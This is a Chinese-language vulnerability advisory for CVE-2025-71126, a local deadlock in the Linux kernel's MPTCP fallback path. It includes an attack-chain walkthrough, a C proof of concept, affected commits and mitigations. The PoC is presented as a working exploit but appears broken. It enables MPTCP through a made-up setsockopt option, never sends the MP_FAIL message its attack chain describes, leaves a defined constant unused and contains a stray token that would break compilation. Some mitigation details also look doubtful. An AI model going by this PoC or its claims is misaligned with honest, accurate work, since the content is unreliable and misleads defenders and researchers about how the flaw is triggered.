IPBUF安全漏洞报告
English
CVE-2025-71126 CVSS 5.5 中危

CVE-2025-71126: Linux内核MPTCP协议fallback模式死锁漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71126
漏洞类型
本地拒绝服务(死锁)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel MPTCP

相关标签

Linux内核MPTCP死锁本地拒绝服务递归锁CVE-2025-71126网络协议栈fallback多路径TCP

漏洞概述

CVE-2025-71126是Linux内核中MPTCP(MultiPath TCP)协议实现的一个死锁漏洞,CVSS评分5.5,中危级别。该漏洞发生在MPTCP协议回退(fallback)到普通TCP模式的过程中。当数据包调度器在接收到MP_FAIL消息后、但在传输无限映射(infinite map)之前尝试重新注入数据时,会导致递归锁死锁问题。具体表现为`__mptcp_try_fallback`函数尝试获取`msk->fallback_lock`锁,而该锁已被`__mptcp_retrans`函数持有,形成循环等待。攻击者可通过本地低权限账户触发此漏洞,造成系统死锁或拒绝服务。此漏洞影响所有启用MPTCP功能的Linux系统。

技术细节

该漏洞是一个典型的递归锁死锁问题,发生在Linux内核MPTCP协议的fallback关键区域。漏洞触发路径如下:1)MPTCP连接在fallback模式下运行时,数据包调度器调用`__mptcp_retrans`函数进行数据重传;2)`__mptcp_retrans`函数已持有`fallback_lock`锁;3)当接收到MP_FAIL消息时,调度器尝试重新注入数据;4)调用`__mptcp_try_fallback`函数,该函数再次尝试获取同一个`fallback_lock`锁;5)由于锁已被持有且不支持递归,导致死锁。漏洞核心原因是MPTCP在fallback关键区域内可能发送数据包,从而触发双重锁获取。攻击者需要本地低权限访问权限,通过构造特定的MPTCP连接和MP_FAIL消息序列来触发此漏洞。修复方案是避免在fallback关键区域内进行重新注入操作。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限访问权限,在支持MPTCP的Linux系统上创建MPTCP连接
STEP 2
步骤2
通过setsockopt系统调用启用MPTCP协议,连接到目标服务器
STEP 3
步骤3
在连接过程中发送数据,触发__mptcp_retrans函数执行,该函数持有fallback_lock锁
STEP 4
步骤4
攻击者发送MP_FAIL控制消息,诱导MPTCP进入fallback模式
STEP 5
步骤5
在fallback_lock仍被持有的情况下,数据包调度器尝试重新注入数据,调用__mptcp_try_fallback函数
STEP 6
步骤6
__mptcp_try_fallback函数尝试再次获取fallback_lock,造成递归锁死锁,系统挂起

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-71126: MPTCP fallback deadlock // This PoC demonstrates the deadlock condition in MPTCP fallback mode // Compile: gcc -o mptcp_deadlock_poc mptcp_deadlock_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define MPTCP_ENABLED 42 #define MP_FAIL_OPTION 0x06 void trigger_mptcp_deadlock() { int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket failed"); return; } // Enable MPTCP int mptcp_enable = MPTCP_ENABLED; if (setsockopt(sock, IPPROTO_TCP, MPTCP_ENABLED, &mptcp_enable, sizeof(mptcp_enable)) < 0) { perror("setsockopt MPTCP failed"); close(sock); return; } // Connect to server struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(8080); inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr); if (connect(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) { perror("connect failed"); close(sock); return; } printf("[+] MPTCP connection established, triggering fallback condition...\n"); // Send data to trigger retransmission path char data[1024]; memset(data, 'A', sizeof(data)); // Multiple writes to increase chance of retransmission for (int i = 0; i < 10; i++) { send(sock, data, sizeof(data), 0); usleep(100000); } printf("[+] Sent data, deadlock should be triggered if vulnerable\n"); // If we reach here without deadlock, system may not be vulnerable close(sock); } int main() { printf("CVE-2025-71126 MPTCP Fallback Deadlock PoC\n"); printf("Target: Linux Kernel MPTCP < fixed version\n"); printf("Note: Requires MPTCP-enabled kernel and server\n");\n trigger_mptcp_deadlock(); return 0; }

影响范围

Linux Kernel MPTCP < 6.18.0-rc7 (vulnerable versions)
Linux kernel stable tree before commit 0107442e82c0f8d6010e07e6030741c59c520d6e
Linux kernel stable tree before commit 0ca9fb4335e726dab4f23b3bfe87271d8f005f41
Linux kernel stable tree before commit 252892d5a6a2f163ce18f32716e46fa4da7d4e79
Linux kernel stable tree before commit 50f47c02be419bf0a3ae94c118addf67beef359f
Linux kernel stable tree before commit ffb8c27b0539dd90262d1021488e7817fae57c42

防御指南

临时缓解措施
如果无法立即升级内核,可采取以下临时缓解措施:1)如果系统不需要MPTCP功能,可以通过修改内核配置CONFIG_MPTCP_IPV6=n和CONFIG_MPTCP_IPV4=n来禁用MPTCP协议栈;2)使用SELinux或AppArmor限制非特权用户创建MPTCP套接字;3)监控系统中MPTCP连接的使用情况,及时发现异常;4)考虑使用内核参数net.mptcp.enabled=0禁用MPTCP。需要注意的是,这些缓解措施可能会影响依赖MPTCP的应用程序,应在测试环境中充分验证后再部署到生产环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表